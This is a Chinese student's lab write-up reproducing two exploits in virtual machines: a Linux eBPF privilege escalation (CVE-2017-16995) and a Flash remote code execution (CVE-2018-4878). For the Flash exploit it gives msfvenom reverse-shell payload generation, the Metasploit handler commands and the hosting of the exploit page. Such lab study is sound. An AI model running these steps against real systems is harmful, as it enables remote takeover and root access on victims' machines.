20155306 白皎 0day漏洞——漏洞的分析与复现

一、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。

攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码。

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本:
Linux内核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2.漏洞复现

step1:漏洞复现环境下载

  • 使用账号密码(pinginglab/pinginglab)登录虚拟机
    ,使用 id 查看本地用户组权限:

  • 使用cat /proc/version查看Linux内核版本
  • 使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看)
  • 下载POC代码

使用gcc对upstream44.c进行编译,给予执行权限: 【若没有编译器,使用sudo apt install gcc 下载并安装gcc编译器】

  • 下面编译并且赋予权限
gcc -o test upstream44.c
chmod +x test
ll

  • 可以看到编译成功后的文件:
  • 执行test文件,发生了错误:

  • 经过分析和查阅资料,发现可能是我电脑的内核不对?但是我的内核是在范围内的呀。那我只好换个内核一试了!
  • 查看目前内核版本uname -r

  • 下载自己想要的版本,我下载的是
    :4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic

可以看到内核更换成功啦!

  • 重新利用gcc进行编译,并且查看,没有问题,一切正常~
  • 运行编译的文件,可以看到提权成功!此时用户从“baijiao”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。

二、Ubuntu16.04 (CVE-2017-16995)

1.漏洞分析

  • 概述
    在2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞。

2.复现步骤

-实验环境

攻击机:Kali Linux (ip:192.168.145.137)

靶机:Windows 7 (ip:192.168.145.138)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 实验流程

①将网上找的代码CVE-2018-4878-master目录下载下来,并放入Kali Linux桌面,并查询本机ip。

②使用msfvenom生成shell代码

生成代码,其中lhost为kali的ip地址,lport为自定义的端口号msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

查看代码文件 cat shellcode.txt

③进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件,将上面msfvenom生成的代码覆盖掉原来的代码:

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路径改为自己的相应的文件路径,之后保存修改退出:

④Kali Linux进入CVE-2018-4878-master路径,用Python执行CVE-2018-4878-master.py代码
[email protected]:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
[email protected]:~/Desktop/CVE-2018-4878-master# ls -l

⑤Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)

[email protected]:~/Desktop/CVE-2018-4878-master# service apache2 start
[email protected]:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
[email protected]:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

此时,Kali Linux上Web服务启动,并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

⑥Kali Linux开启Shell会话监听

使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali***机的ip地址
msf exploit(handler) > set lhost 192.168.145.137
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 5306
开启监听,等待肉鸡上线
msf exploit(handler) > exploit

⑦Windows7 安装flash插件,并用IE浏览器访问页面

搜索flash最新的28版本 ,安装flash插件 。

使用Win7内置IE 8浏览器访问页面:http://172.16.70.216/index2.html

⑧Kali Linux 上获取meterpreter shell,并进行管理

在实验过程中,最后需要在靶机浏览器打开index2.html ,但总是提示页面无法显示,最后发现是因为自己的攻击机和靶机不在同一网段,一个设置为NET模式,一个为桥接模式,最后把统一设置为NET模式,就攻击成功啦!

可以看到,最终由于Flash存在CVE-2018-4878这个高危漏洞,导致Windows靶机访问含flash的页面时,直接被Kali Linux控制。

做完这个实验,感觉在真实环境下,应该有很多基于此Flash漏洞,结合社会工程学,比如将网页链接放置在诱导邮件中,就可以欺骗欺骗大量用户点击,哇,真的是太可怕了。这也提醒我们平常要非常小心陌生链接要及时打安全补丁要不然一个不小心,就会导致电脑被劫持了。

原文地址:https://www.cnblogs.com/0831j/p/9226560.html

时间: 2024-08-29 13:43:34

20155306 白皎 0day漏洞——漏洞的分析与复现的相关文章

20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样的计算机架构,进程使用的内存都可以按照功能大致分为以下4个部分: 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行. 数据区:用于存储全局变量等. 堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区.动态分配和回收是堆区的特点. 栈区:用于动态地存储函

20155306 白皎 0day漏洞——漏洞利用原理之GS

20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区,Windows在VS 7.0(Visual Studio 2003)及以后版本的Visual Studio中默认启动了一个安全编译选项--GS(针对缓冲区溢出时覆盖函数返回地址这一特征),来增加栈溢出的难度. 1.2 GS的工作原理 GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中

20155306 白皎 《网络攻防》 EXP8 Web基础

20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如,域,标签和用户在页面上看见的按钮),另一部分是脚本或应用程序用于处理提交的信息(如CGI脚本).不使用处理脚本就不能搜集表单数据.表单由文本域.复选框.单选框.菜单.文件地址域.按钮等表单对象组成,所有的部分都包含在一个由标识符标志起来的表单结构中.表单的种类有注册表.留言薄.站点导航条.搜索引擎等. -

20155306 白皎 免考实践总结——0day漏洞

本次免考实践提纲及链接 第一部分 基础知识 1.1 0day漏洞概述 1.2二进制文件概述 1.3 必备工具 第二部分 漏洞利用 2.1栈溢出利用 2.1.1 系统栈工作原理 2.1.2 修改邻接变量 2.1.3 修改函数返回地址 2.1.4 代码植入 2.2 DEP 2.2.1 DEP机制的保护原理 2.2.2 linux下利用Ret2Lib绕过DEP 2.2.3 windows下利用Ret2Libc绕过DEP 2.3 GS 2.3.1 GS安全编译选项的保护原理 2.3.2 利用未被保护的内

20155306 白皎 免考实践总结

本次免考实践提纲及链接 第一部分 基础知识 1.1 0day漏洞概述 1.2二进制文件概述 1.3 必备工具 第二部分 漏洞利用 2.1栈溢出利用 2.1.1 系统栈工作原理 2.1.2 修改邻接变量 2.1.3 修改函数返回地址 2.1.4 代码植入 2.2 DEP 2.2.1 DEP机制的保护原理 2.2.2 linux下利用Ret2Lib绕过DEP 2.2.3 windows下利用Ret2Libc绕过DEP 2.3 GS 2.3.1 GS安全编译选项的保护原理 2.3.2 利用未被保护的内

Windows应急响应和系统加固(6)——Windows历年高危漏洞介绍和分析

Windows历年高危漏洞介绍和分析 一.漏洞介绍: 1.漏洞: <1>.漏洞:是影响网络安全的重要因素: <2>.漏洞利用:成为恶意攻击的最常用手段: <3>.漏洞攻击:产业化.低成本化.手段多样化.低门槛趋势: <4>.信息化时代:无论个人/企业,都面临严峻的漏洞威胁: <5>.Windows.Office.IE.Edge.Flash等高危漏洞频繁曝光. 2.Windows漏洞: <1>.MS08-067 RCE漏洞: <2

【转】cve2014-3153 漏洞之详细分析与利用

By kernux TopSec α-lab 一 漏洞概述 这个漏洞是今年5月份爆出来的,漏洞影响范围非常广.受影响的Linux系统可能被直接DOS,精心设计可以获取根权限.该漏洞主要产生于内核的 Futex系统调用.Futex是快速用户空间mutex的意思,它是glibc中的互斥量实现的基础.内核空间其实只是提供了很简单的futex接 口,futex函数定义在/liunx/futex.c中,漏洞利用了 futex_requeue,futex_lock_pi,futex_wait_requeue

2015306 白皎 《网络攻防》Exp4 恶意代码分析

2015306 白皎 <网络攻防>Exp4 恶意代码分析 netstat [Mac.Linux.Win] sysinteral [MS]:1 2 3 一.系统监控--Windows计划任务schtasks 1.创建计划任务,使系统每5分钟自动检测到哪些有哪些程序在连接我们的网络. 注:任务将创建于当前登录的用户名文件夹下. C:\schtasks /create /TN netstat /sc MINUTE /MO 5 /TR "cmd /c netstat -bn > c:\

网站安全检测之用户密码找回网站漏洞的安全分析与利用

我们SINE安全在对网站,以及APP端进行网站安全检测的时候发现很多公司网站以及业务平台,APP存在着一些逻辑上的网站漏洞,有些简简单单的短信验证码可能就会给整个网站带来很大的经济损失,很简单的网站功能,比如用户密码找回上,也会存在绕过安全问题回答,或者绕过手机号码,直接修改用户的账户密码. 在短信×××,以及用户密码找回的网站漏洞上,我们来跟大家分享一下如何利用以及如何防范该漏洞的×××. 我们来看下之前对客户网站进行的网站安全检测的时候我们发现到的短信×××漏洞,由于客户反映注册网站会员的时